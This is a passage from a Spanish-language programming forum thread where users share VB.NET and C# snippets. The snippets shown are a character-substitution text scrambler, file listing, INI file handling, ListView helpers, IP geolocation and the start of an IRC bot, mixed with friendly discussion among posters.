' a, b, c, d, e, f, g, h, i, j, k, l, m, n, ñ, o, p, q, r, s, t, u, v, w, x, y, z, A, B, C, D, E, F, G, H, I, J, K, L, M, N, Ñ, O, P, Q, R, S, T, U, V, W, X, Y, Z, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, á, é, í, ó, ú, Á, É, Í, Ó, Ú, à, è, ì, ò, ù, À, È, Ì, Ò, Ù, ä, ë, ï, ö, ü, Ä, Ë, Ï, Ö, Ü, ç, Ç, º, ª, ¡, ¿, ·, ¬, `, ´, ¨, €
End If
For Each character As Char In str
For x As Int32 = 0 To Characters.Length - 1
If character = Characters(x) Then
Replacement_Found = True
Temp_String &= Replacements(x)
Exit For
End If
Next
If Not Replacement_Found Then Temp_String &= character Else Replacement_Found = False
Application.DoEvents()
Next
Return Temp_String
End Function
Public Shared Function Decrypt_Text(ByVal str As String, _
Optional ByVal Include_Special_Characters As Boolean = False) As String
Dim Temp_String As String = String.Empty
Dim Replacement_Found As Boolean = False
Static Characters As Char()
Static Replacements As Char()
If Include_Special_Characters Then
Characters = {"h", "ó", "Ó", "3", "Á", "è", "A", "^", "ö", "~", "O", "Í", "€", "q", "ú", "À", "Ç", "È", ",", "ì", "i", "ï", "ò", "c", "0", "ñ", "4", "l", "Ü", "ª", "¬", "S", "&", "?", "<", ":", "T", "*", "e", ".", "R", "É", "D", "7", "9", "Ú", "n", "¿", "L", "m", "¨", "Ë", "]", "Ä", "Q", "w", "V", "'", "G", "K", "é", "v", "ù", "}", "P", "E", "X", "+", "í", "´", "$", "{", "_", "Ñ", "u", "ë", "H", "g", "d", "x", "8", "/", "ä", "#", "|", "-", "1", "M", "Ò", "o", ")", "N", "Y", "á", "Ù", "Ì", "%", "ç", """", "a", "=", "Ï", "z", "Ö", ">", ";", "2", "6", "B", "y", "b", "`", "s", "5", "t", "[", "(", "à", "ü", "!", "¡", "f", "W", "k", "r", "U", "J", "·", "Z", "F", "C", "º", "I", "@", "p", "j"}
Replacements = "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙäëïöüÄËÏÖÜçǺª<>¡!¿?()[]{}/\|·.:;,-+=_~¬^'`´¨*$%&€#@""".ToCharArray
Else
Characters = _
{"u", "Ñ", "T", "m", "`", "P", "Ç", "Z", "h", "x", "á", "3", "¬", "R", "ª", "6", "ò", "N", "ë", "Ì", "g", "ö", "I", "L", "a", "À", "·", "V", "5", "Ë", "Ù", "´", "Ö", "J", "à", "¡", "n", "4", "È", "j", "ç", "b", "c", "y", "E", "ù", "Ó", "f", "º", "Q", "q", "G", "e", "B", "0", "€", "9", "o", "ì", "O", "8", "¿", "r", "v", "ó", "2", "Ï", "1", "¨", "i", "Á", "D", "t", "Í", "k", "Ú", "C", "ñ", "Ä", "S", "A", "é", "7", "Ü", "K", "z", "í", "è", "Y", "ü", "F", "s", "p", "X", "U", "Ò", "l", "É", "ú", "d", "ï", "M", "W", "H", "ä", "w"}
' a, b, c, d, e, f, g, h, i, j, k, l, m, n, ñ, o, p, q, r, s, t, u, v, w, x, y, z, A, B, C, D, E, F, G, H, I, J, K, L, M, N, Ñ, O, P, Q, R, S, T, U, V, W, X, Y, Z, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, á, é, í, ó, ú, Á, É, Í, Ó, Ú, à, è, ì, ò, ù, À, È, Ì, Ò, Ù, ä, ë, ï, ö, ü, Ä, Ë, Ï, Ö, Ü, ç, Ç, º, ª, ¡, ¿, ·, ¬, `, ´, ¨, €
Replacements = _
"abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙäëïöüÄËÏÖÜçǺª¡¿·¬`´¨€".ToCharArray
' Removed chars for better improvement in code encryptation: = & + - ^ " % ' < > ( ) { } . $ [ ] ; @ ! ? ~ : / \ | * # , _
End If
For Each character As Char In str
For x As Int32 = 0 To Characters.Length - 1
If character = Characters(x) Then
Replacement_Found = True
Temp_String &= Replacements(x)
Exit For
End If
Next
If Not Replacement_Found Then Temp_String &= character Else Replacement_Found = False
Application.DoEvents()
Next
Return Temp_String
End Function
#End Region
Otro código de ORO:
Devuelve de la manera más eficaz y sencilla una lista de tipo FileInfo con todos los archivos de un directorio,
Le hice dos overloads para poder usar la función de varias maneras y evitar posibles errores en el "SearchPattern",
La función es "IgnoreCase", devuelve la extensión en uppercase y lowercase y todas las variantes posibles, en fin, esto es la perfección:
#Region " Get Files "
' [ Get Files Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' For Each file In Get_Files("C:\Windows", False) : MsgBox(file.Name) : Next
'
' For Each file In Get_Files("C:\Windows", True, "dll") : MsgBox(file.Name) : Next
' For Each file In Get_Files("C:\Windows", True, ".dll") : MsgBox(file.Name) : Next
' For Each file In Get_Files("C:\Windows", True, "*.dll") : MsgBox(file.Name) : Next
'
' For Each file In Get_Files("C:\Windows", False, {"dll", "ini"}) : MsgBox(file.Name) : Next
' For Each file In Get_Files("C:\Windows", False, {".dll", ".ini"}) : MsgBox(file.Name) : Next
' For Each file In Get_Files("C:\Windows", False, {"*.dll", "*.ini"}) : MsgBox(file.Name) : Next
' Get Files {directory} {recursive}
Private Function Get_Files(ByVal directory As String, ByVal recursive As Boolean) As List(Of IO.FileInfo)
Dim searchOpt As IO.SearchOption = If(recursive, IO.SearchOption.AllDirectories, IO.SearchOption.TopDirectoryOnly)
Return IO.Directory.GetFiles(directory, "*", searchOpt).Select(Function(p) New IO.FileInfo(p)).ToList
End Function
' Get Files {directory} {recursive} {ext}
Private Function Get_Files(ByVal directory As String, ByVal recursive As Boolean, ext As String) As List(Of IO.FileInfo)
If ext.StartsWith("*") Then
ext = ext.Substring(1, ext.Length - 1)
ElseIf Not ext = "*" AndAlso Not ext.StartsWith(".") Then
ext = ("." & ext)
ElseIf ext = "*" Then
ext = Nothing
End If
Dim searchOpt As IO.SearchOption = If(recursive, IO.SearchOption.AllDirectories, IO.SearchOption.TopDirectoryOnly)
Return IO.Directory.GetFiles(directory, "*" & ext, searchOpt).Select(Function(p) New IO.FileInfo(p)).ToList
End Function
' Get Files {directory} {recursive} {exts()}
Private Function Get_Files(ByVal directory As String, ByVal recursive As Boolean, ParamArray exts() As String) As List(Of IO.FileInfo)
Dim FileExts(exts.Count) As String
Dim ExtCount As Int32 = 0
For Each ext In exts
If ext.StartsWith("*") Then
FileExts(ExtCount) = ext.Substring(1, ext.Length - 1)
ElseIf Not ext = "*" AndAlso Not ext.StartsWith(".") Then
FileExts(ExtCount) = ("." & ext)
ElseIf Not ext = "*" AndAlso ext.StartsWith(".") Then
FileExts(ExtCount) = ext
ElseIf ext = "*" Then
FileExts(ExtCount) = Nothing
End If
ExtCount += 1
Next
Dim searchOpt As IO.SearchOption = If(recursive, IO.SearchOption.AllDirectories, IO.SearchOption.TopDirectoryOnly)
Dim filenameExtComparer As New FilenameExtensionComparer
Return IO.Directory.GetFiles(directory, "*", searchOpt).Where(Function(o) FileExts.Contains(IO.Path.GetExtension(o), filenameExtComparer)).Select(Function(p) New IO.FileInfo(p)).ToList
End Function
' FilenameExtensionComparer
Public Class FilenameExtensionComparer : Implements IEqualityComparer(Of String)
Public Function Equals1(s As String, t As String) As Boolean Implements IEqualityComparer(Of String).Equals
Return String.Compare(s, t, StringComparison.OrdinalIgnoreCase) = 0
End Function
Public Function GetHashCode1(s As String) As Integer Implements IEqualityComparer(Of String).GetHashCode
Return s.GetHashCode()
End Function
End Class
#End Region
Cargar o guardar valores fácilmente en un archivo INI:
#Region " INI Manager "
' [ INI Manager Functions ]
'
' // By Elektro H@cker
'
' Examples :
'
' INI_Manager.Set_Value(".\Test.ini", "TextValue", TextBox1.Text) ' Save
' TextBox1.Text = INI_Manager.Load_Value(".\Test.ini", "TextValue") ' Load
' INI_Manager.Delete_Value(".\Test.ini", "TextValue") ' Delete
' INI_Manager.Sort_Values(".\Test.ini") ' Sort INI File
Public Class INI_Manager
''' <summary>
''' The INI File Location.
''' </summary>
Public Shared INI_File As String = IO.Path.Combine(Application.StartupPath, Process.GetCurrentProcess().ProcessName & ".ini")
''' <summary>
''' Set a value.
''' </summary>
''' <param name="File">The INI file location</param>
''' <param name="ValueName">The value name</param>
''' <param name="Value">The value data</param>
Public Shared Sub Set_Value(ByVal File As String, ByVal ValueName As String, ByVal Value As String)
Try
If Not IO.File.Exists(File) Then ' Create a new INI File with "Key=Value""
My.Computer.FileSystem.WriteAllText(File, ValueName & "=" & Value, False)
Exit Sub
Else ' Search line by line in the INI file for the "Key"
Dim Line_Number As Int64 = 0
Dim strArray() As String = IO.File.ReadAllLines(File)
For Each line In strArray
If line.ToLower.StartsWith(ValueName.ToLower & "=") Then
strArray(Line_Number) = ValueName & "=" & Value
IO.File.WriteAllLines(File, strArray) ' Replace "value"
Exit Sub
End If
Line_Number += 1
Next
Application.DoEvents()
My.Computer.FileSystem.WriteAllText(File, vbNewLine & ValueName & "=" & Value, True) ' Key don't exist, then create the new "Key=Value"
End If
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub
''' <summary>
''' Load a value.
''' </summary>
''' <param name="File">The INI file location</param>
''' <param name="ValueName">The value name</param>
''' <returns>The value itself</returns>
Public Shared Function Load_Value(ByVal File As String, ByVal ValueName As String) As Object
If Not IO.File.Exists(File) Then
Throw New Exception(File & " not found.") ' INI File not found.
Return Nothing
Else
For Each line In IO.File.ReadAllLines(File)
If line.ToLower.StartsWith(ValueName.ToLower & "=") Then Return line.Split("=").Last
Next
Application.DoEvents()
Throw New Exception("Key: " & """" & ValueName & """" & " not found.") ' Key not found.
Return Nothing
End If
End Function
''' <summary>
''' Delete a key.
''' </summary>
''' <param name="File">The INI file location</param>
''' <param name="ValueName">The value name</param>
Public Shared Sub Delete_Value(ByVal File As String, ByVal ValueName As String)
If Not IO.File.Exists(File) Then
Throw New Exception(File & " not found.") ' INI File not found.
Exit Sub
Else
Try
Dim Line_Number As Int64 = 0
Dim strArray() As String = IO.File.ReadAllLines(File)
For Each line In strArray
If line.ToLower.StartsWith(ValueName.ToLower & "=") Then
strArray(Line_Number) = Nothing
Exit For
End If
Line_Number += 1
Next
Array.Copy(strArray, Line_Number + 1, strArray, Line_Number, UBound(strArray) - Line_Number)
ReDim Preserve strArray(UBound(strArray) - 1)
My.Computer.FileSystem.WriteAllText(File, String.Join(vbNewLine, strArray), False)
Catch ex As Exception
MsgBox(ex.Message)
End Try
End If
End Sub
''' <summary>
''' Sorts the entire INI File.
''' </summary>
''' <param name="File">The INI file location</param>
Public Shared Sub Sort_Values(ByVal File As String)
If Not IO.File.Exists(File) Then
Throw New Exception(File & " not found.") ' INI File not found.
Exit Sub
Else
Try
Dim Line_Number As Int64 = 0
Dim strArray() As String = IO.File.ReadAllLines(File)
Dim TempList As New List(Of String)
For Each line As String In strArray
If line <> "" Then TempList.Add(strArray(Line_Number))
Line_Number += 1
Next
TempList.Sort()
IO.File.WriteAllLines(File, TempList)
Catch ex As Exception
MsgBox(ex.Message)
End Try
End If
End Sub
End Class
#End Region
Entonces este IniReader usa Secciones? Si no explicame, como hago para llamar a 2 pcbs desde el mismo .INI :silbar: ;D
Cita de: Ikillnukes en 11 Junio 2013, 21:06 PMEntonces este IniReader usa Secciones?
No, no lee secciones ni tampoco guarda secciones, no me gustan las secciones ni tampoco las considero útiles, menos para aplicaciones grandes como CCleaner.
Cita de: Ikillnukes en 11 Junio 2013, 21:06 PMexplicame, como hago para llamar a 2 pcbs desde el mismo .INI :silbar: ;D
Pues primero guardas el valor de cada PictureBox en el ini, y luego obtienes los valores préviamente guardados y los asignas a... a lo que estés intentando asignarlo.
Lee los comentarios al principio de la Class, ahí hay ejemplos, no sé que puede resultar tán dificil (de verdad), crea un post porque si con esos ejemplos no te aclara entonces ya no se que más decir.
Saludos!
Nada ya se como quedaría, a veces parezco tonto. :-[
Unos snippets que hice para usarlos con ListViews:
- Auto scrollea un Listview hasta el último Item.
' Scroll ListView
Private Sub Scroll_ListView(ByVal ListView_Name As ListView)
ListView_Name.EnsureVisible(ListView_Name.Items.Count - 1)
End Sub
- Deshabilita el menú contextual si no hay ningún Item seleccionado.
' [ListView] Auto-Disable ContextMenu
Private Sub ContextMenu_Opening(sender As System.Object, e As System.ComponentModel.CancelEventArgs) _
Handles Listview1_ContextMenu.Opening
If ListView1.SelectedItems.Count = 0 Then e.Cancel = True
End Sub
- Copia el contenido de un Item al portapapeles
#Region " [ListView] Copy Item To Clipboard "
' [ [ListView] Copy Item To Clipboard ]
'
' // By Elektro H@cker
'
' Examples :
'
' Copy_Selected_Items_To_Clipboard(ListView1, 0) ' Copies Item 0
' Copy_Selected_Items_To_Clipboard(ListView1, 0, 2) ' Copies SubItem 2 of Item 0
Private Sub Copy_Item_To_Clipboard(ByVal ListView_Name As ListView, _
ByVal Item As Int32, _
Optional ByVal SubItem As Int64 = 0)
Clipboard.SetText(ListView_Name.Items(Item).SubItems(SubItem).Text)
End Sub
#End Region
- Copia el contenido de los items seleccionados al portapapeles
#Region " [ListView] Copy Selected-Items To Clipboard "
' [ [ListView] Copy Selected-Items To Clipboard ]
'
' // By Elektro H@cker
'
' Examples :
'
' Copy_Selected_Items_To_Clipboard(ListView1) ' Copies all SubItems of selected Items
' Copy_Selected_Items_To_Clipboard(ListView1, 2) ' Copies only SubItem 2 of selected Items
Private Sub Copy_Selected_Items_To_Clipboard(ByVal ListView_Name As ListView, _
Optional ByVal SubItem As Int32 = -0)
Dim text As String = String.Empty
For Each Entry As ListViewItem In ListView_Name.SelectedItems()
If SubItem = -0 Then
For Each Subi As ListViewItem.ListViewSubItem In ListView_Name.Items(Entry.Index).SubItems
text &= " " & Subi.Text
Next
text &= ControlChars.NewLine
Else
text &= ControlChars.NewLine & ListView_Name.Items(Entry.Index).SubItems(SubItem).Text
End If
Next
Clipboard.SetText(text)
End Sub
#End Region
Mini aporte, muy mini xD
Como escribir en varias líneas a través de .Text de un Control Label, TextBox, etc.
Label1.Text = "Texto por aquí" &
vbCrLf 'Este texto representa un Salto de Línea >:D
& "Texto por acá xD"
Un saludo.
Advertencia - mientras estabas escribiendo, una nueva respuesta fue publicada....
Joer! Que puntería tienes! xD
Tema: Librería de Snippets !! (Posteen aquí sus snippets) (Leído 10,100 veces)
Anda! 10k de visitas! Enhorabuena :)
Abre un archivo o una carpeta en el explorador de Windows
#Region " Open In Explorer "
' [ Open In Explorer ]
'
' // By Elektro H@cker
'
' Examples :
' Open_In_Explorer("C:\Folder\")
' Open_In_Explorer("C:\Folder\File.txt")
Private Sub Open_In_Explorer(ByVal File_Or_Folder As String)
If File_Or_Folder.EndsWith("\") Then File_Or_Folder = File_Or_Folder.Substring(0, File_Or_Folder.Length - 1)
If IO.Directory.Exists(File_Or_Folder) Then
Dim FileInformation As IO.FileInfo = My.Computer.FileSystem.GetFileInfo(File_Or_Folder)
Process.Start("explorer.exe", " /select," & IO.Path.Combine(FileInformation.DirectoryName, FileInformation.Name))
ElseIf IO.File.Exists(File_Or_Folder) Then
Dim FolderInformation As IO.DirectoryInfo = My.Computer.FileSystem.GetDirectoryInfo(File_Or_Folder)
Process.Start("explorer.exe ", FolderInformation.FullName)
Else
Throw New Exception(File_Or_Folder & " doesn't exist")
End If
End Sub
#End Region
Abre un dialogo y selecciona un proceso para ejecutar un archivo.
#Region " Open With... "
' [ Open With... ]
'
' // By Elektro H@cker
'
' Examples :
' Open_With("C:\File.txt") ' And select "Notepad.exe" in the Dialog...
Private Sub Open_With(ByVal File_Or_Folder As String)
Dim OpenWith As New OpenFileDialog()
OpenWith.InitialDirectory = Environ("programfiles")
OpenWith.Title = "Open file with..."
OpenWith.Filter = "Application|*.exe"
If OpenWith.ShowDialog() = DialogResult.OK Then
Process.Start(OpenWith.FileName, " " & """" & File_Or_Folder & """")
End If
End Sub
#End Region
Cita de: Ikillnukes en 16 Junio 2013, 19:42 PM
Tema: Librería de Snippets !! (Posteen aquí sus snippets) (Leído 10,100 veces)
Anda! 10k de visitas! Enhorabuena :)
Las visitas me dan igual ...pero es una situación crítica que de 10.000 lecturas sólamente 3 personas (incluida yo) hayan participado a contribuir.
Un poco ratas si que hay que ser. xD
Aparte de tu y yo, quien más ha participado? :o :P
Cita de: Ikillnukes en 16 Junio 2013, 19:57 PM
Aparte de tu y yo, quien más ha participado? :o :P
ABDERRAMAH
Cita de: EleKtro H@cker en 16 Junio 2013, 20:05 PM
ABDERRAMAH
Y cuantos Snippets ha dejado? :P
Me he fijado y NovLucker también ha ayudado. ;)
Cita de: Ikillnukes en 16 Junio 2013, 20:07 PMMe he fijado y NovLucker también ha ayudado. ;)
Si leyeras sin prisas verías que NovLucker no ha aportado Snippets porque él no tiene Snippets (Como dijo en los comentarios del principio de este hilo), símplemente comentó para ayudarme a intentar perfeccionar la manera en la que yo codeaba las cosas.
Saludos
xD Me refería a que ha ayudado a perfeccionar. (Se ha que ha ayudao, es más he leido algunos de sus comentarios ;)) ;-) xD
Hijo estás muy ofuscao xD
Saludos!
Cita de: Ikillnukes en 16 Junio 2013, 20:18 PMHijo estás muy ofuscao xD
Si, es lo que pasa cuando me ofuscan.
Saludos
Cita de: Ikillnukes en 16 Junio 2013, 20:07 PM
Y cuantos Snippets ha dejado? :P
Pues unos pocos, pero sobre manejo de bitmaps, códigos útiles para simplificar el uso de gdi+. No es mucho porque yo no acostumbro a usar snippets excepto para ese tipo de tareas, pero creo que es útil.
Todo sea dicho, sería maravilloso un poco más de actividad de los que frecuentamos el foro de .net.
Cita de: ABDERRAMAH en 17 Junio 2013, 00:17 AMsería maravilloso un poco más de actividad de los que frecuentamos el foro de .net.
Si, además, es que no hay ni un solo código de C# en todo el hilo
x'D¿¡ Donde se ha metido la gente que maneja C# !?Os recuerdo que el lenguaje no importa en este hilo...
A ver si alguien se anima,
Saludos.
Ya veo aquí a OmarHack xD
Aporto mi granito de arena:
Función que si le pasas un numero te devuelve el equivalente en letra
No lo e explicado muy bien un ejemplo:
Le paso a la función 1 -> me devuelve a
Le paso a la función 26 -> me devuelve z
Le paso a la función 27 -> me devuelve aa
Le paso a la función 53 -> me devuelve ba
y así sucesivamente:
Private Function ConvertirALetras4(ByVal num As Integer) As String
Dim base26 As String() = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}
Dim cadena As String = ""
Dim tmp As Integer = num
While tmp > 0
If tmp Mod 26 = 0 Then
cadena += base26(25)
tmp = (tmp \ 26) - 1
Else
cadena += base26(tmp Mod 26 - 1)
tmp = tmp \ 26
End If
End While
Return StrReverse(cadena)
End Function
Bueno Elektro con tu creación Dinámica de controles no me llevaba muy bien, así que, mira lo que he hecho. (Bueno me he encontrado hecho, ahora tenéis que transportarlo, transformarlo, adaptarlo, etc a lo que vosotros queráis como he hecho yo) :silbar:
Public Class Form1
Private Sub NewButton(ByVal ButtonNumber As Integer)
' Create a new button
Dim oButton As Button
oButton = New Button
' Set properties. Change these as you like and set other props if needed
oButton.Enabled = True
oButton.Location = New Point(ButtonNumber * 30, ButtonNumber * 30)
oButton.Name = "MyButton" & ButtonNumber.ToString
oButton.Size = New Size(75, 23)
oButton.Text = "Button" & ButtonNumber.ToString
oButton.Visible = True
' Use Tag property to store "which button" information
oButton.Tag = ButtonNumber
' Add button click handler
AddHandler oButton.Click, AddressOf onButtonClick
' Add to this forms controls collection
Me.Controls.Add(oButton)
End Sub
Private Sub MyFunc(ByVal ButtonNumber As Integer)
' Do your stuff here
MessageBox.Show("You clicked button: " & ButtonNumber.ToString, "Click", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Sub
Private Sub onButtonClick(ByVal sender As System.Object, ByVal e As System.EventArgs)
' Handle button click and check which button is clicked
Dim ButtonNumber As Integer
' Get Tag property. Cast sender to Button first
If CType(sender, Button).Tag IsNot Nothing Then
' Check that button's Tag property contains a valid integer
If Integer.TryParse(CType(sender, Button).Tag.ToString, ButtonNumber) Then
' Now we have a valid button number to be used
MyFunc(ButtonNumber)
End If
End If
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
' Create buttons dynamically on form load
Dim i As Integer
For i = 0 To 30
NewButton(i)
Next i
End Sub
End Class
Con esta maravilla, si la sabéis transformar, podéis sacar el numero del Button que habéis pulsado, lo que os hace la vida más fácil al manejar el dichoso Ini_Manager
Que os parece? :silbar:
Cita de: Ikillnukes en 17 Junio 2013, 15:16 PMQue os parece? :silbar:
Me parece que está muy bien comentado
Aunque es un poco marear la perdiz añadir el número al Tag y luego intentar parsearlo, si el número ya se añade de forma dinámica el "name" y con parsear el name es suficiente, pero bueno, es otra forma de hacer las cosas, si el code fuera tuyo te daría un par de aplausos xD
Saludos
Cita de: EleKtro H@cker en 17 Junio 2013, 11:13 AM
Si, además, es que no hay ni un solo código de C# en todo el hilo x'D
¿¡ Donde se ha metido la gente que maneja C# !?
Os recuerdo que el lenguaje no importa en este hilo...
No uso snippets, me es más sencillo rehacer un código que buscar en una librería de snippet para ver si tengo uno que me sirva :xD
Por lo anterior, muchos de los snippets no los veo útiles (ya lo había dicho), por el simple hecho de que lo único que hacen es llamar a un método de .NET con unos parámetros específicos, es lo mismo pero con otro nombre :-\
Saludos
Cita de: Novlucker en 17 Junio 2013, 15:56 PMme es más sencillo rehacer un código que buscar en una librería de snippet para ver si tengo uno que me sirva :xD
Buscar entre las páginas puede resultar tedioso, pero en la página principal intento dejar un índice ordenado del contenido de un pack que contiene todos los snippets (los que yo he publicado), que por cierto, lo actualizaré cuando llegue a los 400 snippets, me faltan 23...
Saludos!
Voltear Texto de un TextBox y pasarlo a otro. :)
Public Function Voltear(ByVal Texto As String) As String
Dim i As Long, l As Long
l = Len(Texto)
For i = 1 To l
Voltear = Voltear & Mid(Texto, l, 1)
l = l - 1
Next
End Function
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
textbox2.text = voltear(textbox1.text) 'voltea texto
End Sub
Un saludo.
Cita de: Ikillnukes en 17 Junio 2013, 18:31 PM
Voltear Texto de un TextBox y pasarlo a otro. :)
demasiado código, mira:
Public Class Form1
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
TextBox2.Text = StrReverse(TextBox1.Text)
End Sub
End Classsaludos
GeoLocalizar una IP:
#Region " GeoLocation "
' [ GeoLocation ]
'
' // By Elektro H@cker
'
' Examples :
'
' Dim GeoInfo As GeoLocation.GeoInfo = GeoLocation.Locate("84.126.113.11")
' Dim GeoInfo As GeoLocation.GeoInfo = GeoLocation.Locate("84.126.113.11.dyn.user.ono.com")
' MsgBox(GeoInfo.Country) ' result: Spain
' MsgBox(GeoInfo.City) ' Result: Valencia
Public Class GeoLocation
Public Class GeoInfo
Public Property Latitude() As String
Public Property Lognitude() As String
Public Property City() As String
Public Property State() As String
Public Property Country() As String
Public Property Host() As String
Public Property Ip() As String
Public Property Code() As String
End Class
Public Shared Function Locate(ByVal IP As String) As GeoInfo
Try
Dim request = TryCast(Net.WebRequest.Create(New Uri("http://www.geoiptool.com/data.php/en/?IP=" & IP)), Net.HttpWebRequest)
If request IsNot Nothing Then
request.UserAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727)"
Dim _geoloc As New GeoInfo
Using webResponse = TryCast(request.GetResponse(), Net.HttpWebResponse)
If webResponse IsNot Nothing Then
Using reader = New IO.StreamReader(webResponse.GetResponseStream())
Dim doc = New Xml.XmlDocument()
doc.Load(reader)
Dim nodes = doc.GetElementsByTagName("marker")
Dim marker = TryCast(nodes(0), Xml.XmlElement)
_geoloc.City = marker.GetAttribute("city")
_geoloc.Country = marker.GetAttribute("country")
_geoloc.Code = marker.GetAttribute("code")
_geoloc.Host = marker.GetAttribute("host")
_geoloc.Ip = marker.GetAttribute("ip")
_geoloc.Latitude = marker.GetAttribute("lat")
_geoloc.Lognitude = marker.GetAttribute("lng")
Return _geoloc
End Using
End If
End Using
End If
Return New GeoInfo()
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
End Class
#End Region
Implementación en C#
public class GeoLocation
{
[XmlRoot("markers")]
public class markers
{
[XmlElement("marker")]
public List<GeoIfo> marker { get; set; }
}
public class GeoIfo
{
[XmlAttribute("lat")]
public string Latitude { get; set; }
[XmlAttribute("lng")]
public string Longitude { get; set; }
[XmlAttribute("city")]
public string City { get; set; }
[XmlAttribute("country")]
public string Country { get; set; }
[XmlAttribute("host")]
public string Host { get; set; }
[XmlAttribute("ip")]
public string Ip { get; set; }
[XmlAttribute("code")]
public string Code { get; set; }
}
public static GeoIfo Locate(string IP)
{
WebClient client = new WebClient();
string xml = client.DownloadString(string.Format("{0}{1}", "http://www.geoiptool.com/data.php/en/?IP=", IP));
XmlSerializer serializer = new XmlSerializer(typeof(markers));
markers geoInfo;
using (StringReader reader = new StringReader(xml))
{
geoInfo = (markers)serializer.Deserialize(reader);
}
return geoInfo.marker.First();
}
}
Ala, ya si se puede decir que Nov a "ayudado" :P
Googleando un poquito he encontrado esto:
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
WebBrowser1.Navigate("http://google.com")
End Sub
Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
AddHandler WebBrowser1.Document.Click, AddressOf getClickedElement
End Sub
Private Sub getClickedElement(ByVal sender As Object, ByVal e As HtmlElementEventArgs)
With WebBrowser1.Document.GetElementFromPoint(e.ClientMousePosition)
Dim selectedHtmlElement_ID As String = .GetAttribute("id").ToLower
Dim selectedHtmlElement_NAME As String = .GetAttribute("name").ToLower
MsgBox("ID: " & selectedHtmlElement_ID & vbNewLine & " --- Name: " & selectedHtmlElement_NAME)
End With
End Sub
End Class
Básicamente podemos sacar el Name y la Id del elemento clicado a través de un MsgBox.
Un saludo. :)
Que os parece? :P
Cita de: Ikillnukes en 20 Junio 2013, 17:39 PM
Ala, ya si se puede decir que Nov a "ayudado" :P
Es que insisto, muchos códigos si me parecen útiles, pero otros se me hacen demasiado evidentes como para tener que buscarlos en algún sitio, demoro menos codeandolo, ej;
"
Get_Method", y "
Comprueba si un numero es divisible por otro": https://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1857426#msg1857426
"
Download_URL_SourceCode": https://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1856078#msg1856078
"
Elimina un Item de un Array": https://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1856079#msg1856079
Saludos
Un Bot para IRC.
No soy experto en IRC, lo hice basándome en wl webchat de freenode, pero imagino que funcionará en todos los canales de IRC.
...Extender y/o modificar el código como querais, esto solo e sun ejemplo, dejar volar vuestra imaginación:
Un ejemplo de uso:
Public Class Form1
Dim IRC_Thread_Var As Threading.Thread = New Threading.Thread(AddressOf IRC_Thread)
Private Sub Form1_shown(sender As Object, e As EventArgs) Handles MyBase.Shown
IRC_Thread_Var = New Threading.Thread(AddressOf IRC_Thread)
IRC_Thread_Var.Start()
End Sub
Sub IRC_Thread()
IRC_Bot.Connect("irc.freenode.org", "#ircehn", "ElektroBot")
End Sub
End Class
...La class del Bot:
Public Class IRC_Bot
' Channel Moderators
Public Shared Gods As String() = "Elektro Elektro-H Elektro-H_ Drvy kili4n Ikillnukes Caster_ OmarHack OmarHack_ Carloswaldo _0xDani".Split(ChrW(32)).ToArray
' Commands
Private Shared Line As String = Nothing
Private Shared Name As String = Nothing
Private Shared IP As String = Nothing
Private Shared Command As String = Nothing
Private Shared Argument As String = Nothing
' Bot Status
Public Shared Activated As Boolean = True
Private Shared Elapsed_Time As New Stopwatch
Private Shared Total_Messages As Int64 = 0
' Connection
Private Shared Ident_Listener As Net.Sockets.TcpListener = Nothing
Private Shared Ident_Client As Net.Sockets.TcpClient = Nothing
Private Shared Ident_NetworkStream As Net.Sockets.NetworkStream = Nothing
Private Shared Ident_Reader As IO.StreamReader = Nothing
Private Shared Ident_Writer As IO.StreamWriter = Nothing
Private Shared Ident_ResponseString As String = Nothing
Private Shared TCP_client As Net.Sockets.TcpClient = Nothing ' Main connection to the IRC network.
Private Shared Network_Stream As Net.Sockets.NetworkStream = Nothing ' Break TCP connection down to a network stream.
Private Shared IRC_Reader As IO.StreamReader = Nothing ' Stream to read messages from the Server.
Private Shared IRC_Writer As IO.StreamWriter = Nothing ' Stream to write messages to the server.
' To attach Console (If needed)
' Private Declare Function AllocConsole Lib "kernel32.dll" () As Boolean
Public Shared Sub Connect(ByVal Server As String, _
ByVal Channel As String, _
ByVal NickName As String, _
Optional ByVal Port As Int32 = 6667, _
Optional ByVal RealName As String = "ElektroBot", _
Optional ByVal UserName As String = "ElektroHacker")
' AllocConsole() ' Attach Console (If needed)
' Change CMD Window Size
Console.SetWindowSize(200, 60)
Try
' Create Connection
Write("Creating Connection...", ConsoleColor.Yellow)
TCP_client = New Net.Sockets.TcpClient(Server, Port)
Network_Stream = TCP_client.GetStream
IRC_Reader = New IO.StreamReader(Network_Stream)
IRC_Writer = New IO.StreamWriter(Network_Stream)
If Not IRC_Writer.AutoFlush Then IRC_Writer.AutoFlush = True
' Set name
Write("Setting up name...", ConsoleColor.Yellow)
IRC_Writer.WriteLine(String.Format("USER {0} {1} * :{2}", UserName, 0, RealName))
' Set Nickname
Write("Setting Nickname...", ConsoleColor.Yellow)
